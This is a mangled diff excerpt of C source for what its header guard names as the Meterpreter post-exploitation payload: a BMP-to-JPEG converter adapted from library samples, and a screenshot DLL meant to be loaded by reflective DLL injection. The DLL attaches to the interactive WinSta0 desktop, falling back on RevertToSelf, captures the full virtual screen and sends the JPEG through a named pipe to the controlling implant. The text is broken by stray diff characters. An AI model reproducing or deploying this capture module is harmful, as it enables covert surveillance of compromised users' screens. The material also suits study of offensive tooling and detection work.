/* Compute distance to bitmap data --- will adjust for colormap below */
|
||||||
|
bPad = bfOffBits - (headerSize + 14);
|
||||||
|
|
||||||
|
/* Read the colormap, if any */
|
||||||
|
if (mapentrysize > 0) {
|
||||||
|
if (biClrUsed <= 0)
|
||||||
|
biClrUsed = 256; /* assume it's 256 */
|
||||||
|
else if (biClrUsed > 256)
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADCMAP);
|
||||||
|
/* Allocate space to store the colormap */
|
||||||
|
source->colormap = (*cinfo->mem->alloc_sarray)
|
||||||
|
((j_common_ptr) cinfo, JPOOL_IMAGE,
|
||||||
|
(JDIMENSION) biClrUsed, (JDIMENSION) 3);
|
||||||
|
/* and read it from the file */
|
||||||
|
read_colormap(source, (int) biClrUsed, mapentrysize);
|
||||||
|
/* account for size of colormap */
|
||||||
|
bPad -= biClrUsed * mapentrysize;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Skip any remaining pad bytes */
|
||||||
|
if (bPad < 0) /* incorrect bfOffBits value? */
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
|
||||||
|
// Not reading a file... so, just jump to the start..
|
||||||
|
// No need to read_byte as an fseek hack.
|
||||||
|
source->pub.read_offset = bfOffBits;
|
||||||
|
//while (--bPad >= 0) {
|
||||||
|
// (void) read_byte(source);
|
||||||
|
//}
|
||||||
|
|
||||||
|
/* Compute row width in file, including padding to 4-byte boundary */
|
||||||
|
if (source->bits_per_pixel == 16)
|
||||||
|
row_width = (JDIMENSION) (biWidth * 2);
|
||||||
|
else if (source->bits_per_pixel == 24)
|
||||||
|
row_width = (JDIMENSION) (biWidth * 3);
|
||||||
|
else if (source->bits_per_pixel == 32)
|
||||||
|
row_width = (JDIMENSION) (biWidth * 4);
|
||||||
|
else
|
||||||
|
row_width = (JDIMENSION) biWidth;
|
||||||
|
while ((row_width & 3) != 0) row_width++;
|
||||||
|
source->row_width = row_width;
|
||||||
|
|
||||||
|
/* Allocate space for inversion array, prepare for preload pass */
|
||||||
|
source->whole_image = (*cinfo->mem->request_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, JPOOL_IMAGE, FALSE,
|
||||||
|
row_width, (JDIMENSION) biHeight, (JDIMENSION) 1);
|
||||||
|
source->pub.get_pixel_rows = preload_image;
|
||||||
|
|
||||||
|
/* Allocate one-row buffer for returned data */
|
||||||
|
source->pub.buffer = (*cinfo->mem->alloc_sarray)
|
||||||
|
((j_common_ptr) cinfo, JPOOL_IMAGE,
|
||||||
|
(JDIMENSION) (biWidth * 3), (JDIMENSION) 1);
|
||||||
|
source->pub.buffer_height = 1;
|
||||||
|
|
||||||
|
cinfo->in_color_space = JCS_RGB;
|
||||||
|
cinfo->input_components = 3;
|
||||||
|
cinfo->data_precision = 8;
|
||||||
|
cinfo->image_width = (JDIMENSION) biWidth;
|
||||||
|
cinfo->image_height = (JDIMENSION) biHeight;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Finish up at the end of the file.
|
||||||
|
*/
|
||||||
|
|
||||||
|
void finish_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
{
|
||||||
|
/* no work */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The module selection routine for BMP format input.
|
||||||
|
*/
|
||||||
|
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr cinfo)
|
||||||
|
{
|
||||||
|
|
||||||
|
bmp_source_ptr source;
|
||||||
|
/* Create module interface object */
|
||||||
|
source = (bmp_source_ptr)
|
||||||
|
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
|
||||||
|
SIZEOF(bmp_source_struct));
|
||||||
|
source->cinfo = cinfo; /* make back link for subroutines */
|
||||||
|
/* Fill in method ptrs, except get_pixel_rows which start_input sets */
|
||||||
|
source->pub.start_input = start_input_bmp;
|
||||||
|
source->pub.finish_input = finish_input_bmp;
|
||||||
|
|
||||||
|
return (cjpeg_source_ptr) source;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* See: http://msdn.microsoft.com/en-us/library/dd145119%28VS.85%29.aspx
|
||||||
|
* This function was copied from the MSDN example.
|
||||||
|
* It was then modified to send the BMP data rather than save to disk
|
||||||
|
* It was then modified to conver the BMP to JPEG and send
|
||||||
|
* Now its realy big.
|
||||||
|
*/
|
||||||
|
int bmp2jpeg(HBITMAP hBmp, HDC hDC, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size )
|
||||||
|
{
|
||||||
|
// data structures
|
||||||
|
BITMAP bmp;
|
||||||
|
PBITMAPINFO pbmi;
|
||||||
|
WORD cClrBits;
|
||||||
|
BITMAPFILEHEADER hdr; // bitmap file-header
|
||||||
|
PBITMAPINFOHEADER pbih; // bitmap info-header
|
||||||
|
LPBYTE lpBits; // memory pointer
|
||||||
|
DWORD dwTotal; // total count of bytes
|
||||||
|
DWORD cb; // incremental count of bytes
|
||||||
|
BYTE *hp; // byte pointer
|
||||||
|
DWORD s;
|
||||||
|
TCHAR* buf;
|
||||||
|
|
||||||
|
// Convert to JPEG stuff
|
||||||
|
struct jpeg_compress_struct cinfo;
|
||||||
|
struct jpeg_error_mgr jerr;
|
||||||
|
cjpeg_source_ptr src_mgr;
|
||||||
|
JDIMENSION num_scanlines;
|
||||||
|
|
||||||
|
// Retrieve the bitmap's color format, width, and height.
|
||||||
|
if (!GetObject(hBmp, sizeof(BITMAP), (LPVOID) &bmp))
|
||||||
|
// GetObject failed
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
// Convert the color format to a count of bits.
|
||||||
|
cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
|
||||||
|
if (cClrBits == 1)
|
||||||
|
cClrBits = 1;
|
||||||
|
else if (cClrBits <= 4)
|
||||||
|
cClrBits = 4;
|
||||||
|
else if (cClrBits <= 8)
|
||||||
|
cClrBits = 8;
|
||||||
|
else if (cClrBits <= 16)
|
||||||
|
cClrBits = 16;
|
||||||
|
else if (cClrBits <= 24)
|
||||||
|
cClrBits = 24;
|
||||||
|
else cClrBits = 32;
|
||||||
|
|
||||||
|
// Allocate memory for the BITMAPINFO structure. (This structure
|
||||||
|
// contains a BITMAPINFOHEADER structure and an array of RGBQUAD
|
||||||
|
// data structures.)
|
||||||
|
if (cClrBits != 24)
|
||||||
|
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1<< cClrBits));
|
||||||
|
|
||||||
|
// There is no RGBQUAD array for the 24-bit-per-pixel format.
|
||||||
|
else
|
||||||
|
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));
|
||||||
|
|
||||||
|
// Initialize the fields in the BITMAPINFO structure.
|
||||||
|
|
||||||
|
pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||||
|
pbmi->bmiHeader.biWidth = bmp.bmWidth;
|
||||||
|
pbmi->bmiHeader.biHeight = bmp.bmHeight;
|
||||||
|
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
|
||||||
|
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
|
||||||
|
|
||||||
|
if (cClrBits < 24)
|
||||||
|
pbmi->bmiHeader.biClrUsed = (1<<cClrBits);
|
||||||
|
|
||||||
|
// If the bitmap is not compressed, set the BI_RGB flag.
|
||||||
|
pbmi->bmiHeader.biCompression = BI_RGB;
|
||||||
|
|
||||||
|
// Compute the number of bytes in the array of color
|
||||||
|
// indices and store the result in biSizeImage.
|
||||||
|
pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8
|
||||||
|
* pbmi->bmiHeader.biHeight * cClrBits;
|
||||||
|
|
||||||
|
// Set biClrImportant to 0, indicating that all of the
|
||||||
|
// device colors are important.
|
||||||
|
pbmi->bmiHeader.biClrImportant = 0;
|
||||||
|
|
||||||
|
|
||||||
|
pbih = (PBITMAPINFOHEADER) pbmi;
|
||||||
|
lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if (!lpBits) {
|
||||||
|
// GlobalAlloc failed
|
||||||
|
//printf("error: out of memory\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieve the color table (RGBQUAD array) and the bits
|
||||||
|
// (array of palette indices) from the DIB.
|
||||||
|
if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) {
|
||||||
|
// GetDIBits failed
|
||||||
|
//printf("error: GetDiBits failed\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
hdr.bfType = 0x4d42; // 0x42 = "B" 0x4d = "M"
|
||||||
|
// Compute the size of the entire file.
|
||||||
|
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) +
|
||||||
|
pbih->biSize + pbih->biClrUsed
|
||||||
|
* sizeof(RGBQUAD) + pbih->biSizeImage);
|
||||||
|
hdr.bfReserved1 = 0;
|
||||||
|
hdr.bfReserved2 = 0;
|
||||||
|
|
||||||
|
// Compute the offset to the array of color indices.
|
||||||
|
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) +
|
||||||
|
pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD);
|
||||||
|
|
||||||
|
s = sizeof(BITMAPFILEHEADER);
|
||||||
|
s = s + (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
|
||||||
|
// Copy the array of color indices into the .BMP file.
|
||||||
|
dwTotal = cb = pbih->biSizeImage;
|
||||||
|
hp = lpBits;
|
||||||
|
|
||||||
|
s = s + ((int) cb);
|
||||||
|
|
||||||
|
buf = (TCHAR *)malloc(s * sizeof(TCHAR));
|
||||||
|
memcpy(buf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER));
|
||||||
|
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
|
||||||
|
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
|
||||||
|
// Don't send it yet. Convert it to a JPEG.
|
||||||
|
//packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
|
||||||
|
|
||||||
|
|
||||||
|
// JPEG conversion start here..'
|
||||||
|
// buf is a pointer to a BMP in memory.
|
||||||
|
|
||||||
|
/* Initialize JPEG parameters.
|
||||||
|
* Much of this may be overridden later.
|
||||||
|
* We need to provide some value for jpeg_set_defaults() to work.
|
||||||
|
*/
|
||||||
|
|
||||||
|
cinfo.err = jpeg_std_error(&jerr);
|
||||||
|
jpeg_create_compress(&cinfo);
|
||||||
|
cinfo.in_color_space = JCS_RGB; /* arbitrary guess */
|
||||||
|
jpeg_set_defaults(&cinfo);
|
||||||
|
|
||||||
|
src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr...
|
||||||
|
|
||||||
|
src_mgr->input_buf = buf;
|
||||||
|
src_mgr->read_offset = 0;
|
||||||
|
/* Read the input file header to obtain file size & colorspace. */
|
||||||
|
|
||||||
|
start_input_bmp(&cinfo, src_mgr);
|
||||||
|
|
||||||
|
jpeg_default_colorspace(&cinfo);
|
||||||
|
|
||||||
|
// TODO: accept options from the command line for grayscale and quality.
|
||||||
|
/* Go GRAYSCALE */
|
||||||
|
//jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE);
|
||||||
|
/* Quality */
|
||||||
|
jpeg_set_quality(&cinfo, quality, FALSE);
|
||||||
|
|
||||||
|
// Write the compressed JPEG to memory: bug_jpeg
|
||||||
|
jpeg_mem_dest(&cinfo, buf_jpeg, buf_jpeg_size);
|
||||||
|
|
||||||
|
/* Start compressor */
|
||||||
|
jpeg_start_compress(&cinfo, TRUE);
|
||||||
|
|
||||||
|
/* Process data */
|
||||||
|
while (cinfo.next_scanline < cinfo.image_height) {
|
||||||
|
num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr);
|
||||||
|
(void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Finish compression and release memory */
|
||||||
|
(*src_mgr->finish_input) (&cinfo, src_mgr);
|
||||||
|
jpeg_finish_compress(&cinfo);
|
||||||
|
jpeg_destroy_compress(&cinfo);
|
||||||
|
|
||||||
|
// Free memory.
|
||||||
|
GlobalFree((HGLOBAL)lpBits);
|
||||||
|
// This wasn't being free'ed before. Shouldn't you free all malloc calls?
|
||||||
|
free(buf);
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
|
@ -0,0 +1,73 @@
|
||||||
|
#ifndef _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
|
||||||
|
#define _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
|
||||||
|
|
||||||
|
#include "jinclude.h"
|
||||||
|
#include "jpeglib.h"
|
||||||
|
#include "jerror.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Object interface for cjpeg's source file decoding modules
|
||||||
|
* This is the structure used to handle the converstion to a JPEG
|
||||||
|
* The code "borrowed" from rdbmp.c example also uses this struct
|
||||||
|
* to reference a BMP, then uses type casting trickery to change it.
|
||||||
|
* All I have to say is "Just because you can do soemthing doesn't
|
||||||
|
* mean you should do it". But it works, and I'm too lazy to make it
|
||||||
|
* easier to "read". So a heads up, when you see a cjpeg_source being
|
||||||
|
* tossed around, it might really be a BMP.
|
||||||
|
*
|
||||||
|
* This structure was modified from the IJG's example to support
|
||||||
|
* conversion in memory without using disk.
|
||||||
|
*/
|
||||||
|
typedef struct cjpeg_source_struct * cjpeg_source_ptr;
|
||||||
|
|
||||||
|
struct cjpeg_source_struct {
|
||||||
|
JMETHOD(void, start_input, (j_compress_ptr cinfo,
|
||||||
|
cjpeg_source_ptr sinfo));
|
||||||
|
JMETHOD(JDIMENSION, get_pixel_rows, (j_compress_ptr cinfo,
|
||||||
|
cjpeg_source_ptr sinfo));
|
||||||
|
JMETHOD(void, finish_input, (j_compress_ptr cinfo,
|
||||||
|
cjpeg_source_ptr sinfo));
|
||||||
|
|
||||||
|
TCHAR *input_buf;
|
||||||
|
UINT read_offset;
|
||||||
|
|
||||||
|
JSAMPARRAY buffer;
|
||||||
|
JDIMENSION buffer_height;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Private version of data source object */
|
||||||
|
|
||||||
|
typedef struct _bmp_source_struct * bmp_source_ptr;
|
||||||
|
|
||||||
|
typedef struct _bmp_source_struct {
|
||||||
|
struct cjpeg_source_struct pub; /* public fields */
|
||||||
|
|
||||||
|
j_compress_ptr cinfo; /* back link saves passing separate parm */
|
||||||
|
|
||||||
|
JSAMPARRAY colormap; /* BMP colormap (converted to my format) */
|
||||||
|
|
||||||
|
jvirt_sarray_ptr whole_image; /* Needed to reverse row order */
|
||||||
|
JDIMENSION source_row; /* Current source row number */
|
||||||
|
JDIMENSION row_width; /* Physical width of scanlines in file */
|
||||||
|
|
||||||
|
int bits_per_pixel; /* remembers 8- or 24-bit format */
|
||||||
|
} bmp_source_struct;
|
||||||
|
|
||||||
|
|
||||||
|
// JPEG related functions
|
||||||
|
int ReadOK(bmp_source_ptr, char*, int);
|
||||||
|
int read_byte (bmp_source_ptr);
|
||||||
|
void read_colormap (bmp_source_ptr, int, int);
|
||||||
|
JDIMENSION get_8bit_row (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
JDIMENSION get_16bit_row (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
JDIMENSION get_24bit_row (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
JDIMENSION get_32bit_row (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
JDIMENSION preload_image (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
void start_input_bmp (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
void finish_input_bmp (j_compress_ptr, cjpeg_source_ptr);
|
||||||
|
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr);
|
||||||
|
|
||||||
|
// BMP-screenshot related functions
|
||||||
|
int bmp2jpeg(HBITMAP hBmp, HDC hDC, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size );
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,317 @@
|
||||||
|
#include "screenshot.h"
|
||||||
|
#include "bmp2jpeg.h"
|
||||||
|
|
||||||
|
// define this as we are going to be injected via RDI
|
||||||
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
|
||||||
|
// define this as we want to use our own DllMain function
|
||||||
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
// include the Reflectiveloader() function
|
||||||
|
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Send a buffer to a named pipe server.
|
||||||
|
*/
|
||||||
|
DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
HANDLE hPipe = NULL;
|
||||||
|
DWORD dwWritten = 0;
|
||||||
|
DWORD dwTotal = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||||
|
if( !hPipe )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
|
||||||
|
|
||||||
|
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
|
||||||
|
|
||||||
|
if( !dwJpegSize || !pJpegBuffer )
|
||||||
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
|
||||||
|
|
||||||
|
while( dwTotal < dwJpegSize )
|
||||||
|
{
|
||||||
|
if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) )
|
||||||
|
break;
|
||||||
|
dwTotal += dwWritten;
|
||||||
|
}
|
||||||
|
|
||||||
|
if( dwTotal != dwJpegSize )
|
||||||
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH );
|
||||||
|
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
CLOSE_HANDLE( hPipe );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Take a screenshot of this sessions default input desktop on WinSta0
|
||||||
|
* and send it as a JPEG image to a named pipe.
|
||||||
|
*/
|
||||||
|
DWORD screenshot( int quality, DWORD dwPipeName )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
HWINSTA hWindowStation = NULL;
|
||||||
|
HWINSTA hOrigWindowStation = NULL;
|
||||||
|
HDESK hInputDesktop = NULL;
|
||||||
|
HDESK hOrigDesktop = NULL;
|
||||||
|
HWND hDesktopWnd = NULL;
|
||||||
|
HDC hdc = NULL;
|
||||||
|
HDC hmemdc = NULL;
|
||||||
|
HBITMAP hbmp = NULL;
|
||||||
|
BYTE * pJpegBuffer = NULL;
|
||||||
|
OSVERSIONINFO os = {0};
|
||||||
|
char cNamedPipe[MAX_PATH] = {0};
|
||||||
|
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
|
||||||
|
int xmetric = SM_CXVIRTUALSCREEN;
|
||||||
|
int ymetric = SM_CYVIRTUALSCREEN;
|
||||||
|
DWORD dwJpegSize = 0;
|
||||||
|
int sx = 0;
|
||||||
|
int sy = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );
|
||||||
|
|
||||||
|
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||||
|
|
||||||
|
if( !GetVersionEx( &os ) )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
|
||||||
|
|
||||||
|
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
|
||||||
|
if( os.dwMajorVersion <= 4 )
|
||||||
|
{
|
||||||
|
xmetric = SM_CXSCREEN;
|
||||||
|
ymetric = SM_CYSCREEN;
|
||||||
|
}
|
||||||
|
|
||||||
|
// open the WinSta0 as some services are attached to a different window station.
|
||||||
|
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||||
|
if( !hWindowStation )
|
||||||
|
{
|
||||||
|
if( RevertToSelf() )
|
||||||
|
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||||
|
}
|
||||||
|
|
||||||
|
// if we cant open the defaut input station we wont be able to take a screenshot
|
||||||
|
if( !hWindowStation )
|
||||||
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
// get the current process's window station so we can restore it later on.
|
||||||
|
hOrigWindowStation = GetProcessWindowStation();
|
||||||
|
|
||||||
|
// set the host process's window station to this sessions default input station we opened
|
||||||
|
if( !SetProcessWindowStation( hWindowStation ) )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
|
||||||
|
|
||||||
|
// grab a handle to the default input desktop (e.g. Default or WinLogon)
|
||||||
|
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
|
||||||
|
if( !hInputDesktop )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );
|
||||||
|
|
||||||
|
// get the threads current desktop so we can restore it later on
|
||||||
|
hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );
|
||||||
|
|
||||||
|
// set this threads desktop to that of this sessions default input desktop on WinSta0
|
||||||
|
SetThreadDesktop( hInputDesktop );
|
||||||
|
|
||||||
|
// and now we can grab a handle to this input desktop
|
||||||
|
hDesktopWnd = GetDesktopWindow();
|
||||||
|
|
||||||
|
// and get a DC from it so we can read its pixels!
|
||||||
|
hdc = GetDC( hDesktopWnd );
|
||||||
|
if( !hdc )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );
|
||||||
|
|
||||||
|
// back up this DC with a memory DC
|
||||||
|
hmemdc = CreateCompatibleDC( hdc );
|
||||||
|
if( !hmemdc )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );
|
||||||
|
|
||||||
|
// calculate the width and height
|
||||||
|
sx = GetSystemMetrics( xmetric );
|
||||||
|
sy = GetSystemMetrics( ymetric );
|
||||||
|
|
||||||
|
// and create a bitmap
|
||||||
|
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
|
||||||
|
if( !hbmp )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
|
||||||
|
|
||||||
|
// this bitmap is backed by the memory DC
|
||||||
|
if( !SelectObject( hmemdc, hbmp ) )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
|
||||||
|
|
||||||
|
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
|
||||||
|
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
|
||||||
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
|
||||||
|
|
||||||
|
// finally convert the BMP we just made into a JPEG...
|
||||||
|
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
|
||||||
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
// we have succeded
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
// if we have successfully taken a screenshot we send it back via the named pipe
|
||||||
|
// but if we have failed we send back a zero byte result to indicate this failure.
|
||||||
|
if( dwResult == ERROR_SUCCESS )
|
||||||
|
screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
|
||||||
|
else
|
||||||
|
screenshot_send( cNamedPipe, NULL, 0 );
|
||||||
|
|
||||||
|
if( hdc )
|
||||||
|
ReleaseDC( hDesktopWnd, hdc );
|
||||||
|
|
||||||
|
if( hmemdc )
|
||||||
|
DeleteDC( hmemdc );
|
||||||
|
|
||||||
|
if( hbmp )
|
||||||
|
DeleteObject( hbmp );
|
||||||
|
|
||||||
|
// free the jpeg images buffer
|
||||||
|
if( pJpegBuffer )
|
||||||
|
free( pJpegBuffer );
|
||||||
|
|
||||||
|
// restore the origional process's window station
|
||||||
|
if( hOrigWindowStation )
|
||||||
|
SetProcessWindowStation( hOrigWindowStation );
|
||||||
|
|
||||||
|
// restore the threads origional desktop
|
||||||
|
if( hOrigDesktop )
|
||||||
|
SetThreadDesktop( hOrigDesktop );
|
||||||
|
|
||||||
|
// close the WinSta0 window station handle we opened
|
||||||
|
if( hWindowStation )
|
||||||
|
CloseWindowStation( hWindowStation );
|
||||||
|
|
||||||
|
// close this last to avoid a handle leak...
|
||||||
|
if( hInputDesktop )
|
||||||
|
CloseDesktop( hInputDesktop );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Grab a DWORD value out of the command line.
|
||||||
|
* e.g. screenshot_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
||||||
|
*/
|
||||||
|
DWORD screenshot_command_dword( char * cpCommandLine, char * cpCommand )
|
||||||
|
{
|
||||||
|
char * cpString = NULL;
|
||||||
|
DWORD dwResult = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !cpCommandLine || !cpCommand )
|
||||||
|
break;
|
||||||
|
|
||||||
|
cpString = strstr( cpCommandLine, cpCommand );
|
||||||
|
if( !cpString )
|
||||||
|
break;
|
||||||
|
|
||||||
|
cpString += strlen( cpCommand );
|
||||||
|
|
||||||
|
dwResult = strtoul( cpString, NULL, 0 );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Grab a int value out of the command line.
|
||||||
|
* e.g. screenshot_command_int( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
|
||||||
|
*/
|
||||||
|
int screenshot_command_int( char * cpCommandLine, char * cpCommand )
|
||||||
|
{
|
||||||
|
char * cpString = NULL;
|
||||||
|
int iResult = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !cpCommandLine || !cpCommand )
|
||||||
|
break;
|
||||||
|
|
||||||
|
cpString = strstr( cpCommandLine, cpCommand );
|
||||||
|
if( !cpString )
|
||||||
|
break;
|
||||||
|
|
||||||
|
cpString += strlen( cpCommand );
|
||||||
|
|
||||||
|
iResult = atoi( cpString );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return iResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The real entrypoint for this app.
|
||||||
|
*/
|
||||||
|
VOID screenshot_main( char * cpCommandLine )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_INVALID_PARAMETER;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dprintf( "[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
|
||||||
|
|
||||||
|
if( !cpCommandLine )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if( strlen( cpCommandLine ) == 0 )
|
||||||
|
break;
|
||||||
|
|
||||||
|
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
|
||||||
|
|
||||||
|
if( strstr( cpCommandLine, "/s" ) )
|
||||||
|
{
|
||||||
|
DWORD dwPipeName = 0;
|
||||||
|
int quality = 0;
|
||||||
|
|
||||||
|
quality = screenshot_command_int( cpCommandLine, "/q:" );
|
||||||
|
|
||||||
|
dwPipeName = screenshot_command_dword( cpCommandLine, "/p:" );
|
||||||
|
|
||||||
|
dwResult = screenshot( quality, dwPipeName );
|
||||||
|
}
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
dprintf( "[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult );
|
||||||
|
|
||||||
|
ExitThread( dwResult );
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
|
||||||
|
*/
|
||||||
|
